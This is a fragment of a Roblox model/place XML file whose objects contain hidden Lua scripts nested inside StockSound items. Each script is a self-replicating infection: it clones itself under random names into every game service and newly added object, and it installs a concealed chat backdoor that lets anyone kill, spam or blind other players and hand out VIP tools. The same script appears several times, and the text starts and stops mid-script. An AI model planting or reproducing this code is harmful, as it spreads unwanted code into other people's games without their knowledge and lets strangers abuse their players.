game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX73">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">hchhgh8</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX74">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">0ky2774</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX75">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>16.7940102</X>
							<Y>3.29895926</Y>
							<Z>-1.32017517</Z>
							<R00>0.550176978</R00>
							<R01>1.14337033e-010</R01>
							<R02>-0.835048079</R02>
							<R10>1.28434832e-010</R10>
							<R11>1</R11>
							<R12>2.21542826e-010</R12>
							<R20>0.835048079</R20>
							<R21>-2.29137001e-010</R21>
							<R22>0.550176978</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0</float>
						<float name="LeftParamB">0</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0</float>
						<float name="RightParamB">0</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX76">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">roblox</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX77">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">pw2gl8zh</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX78">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">b0bectuth</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
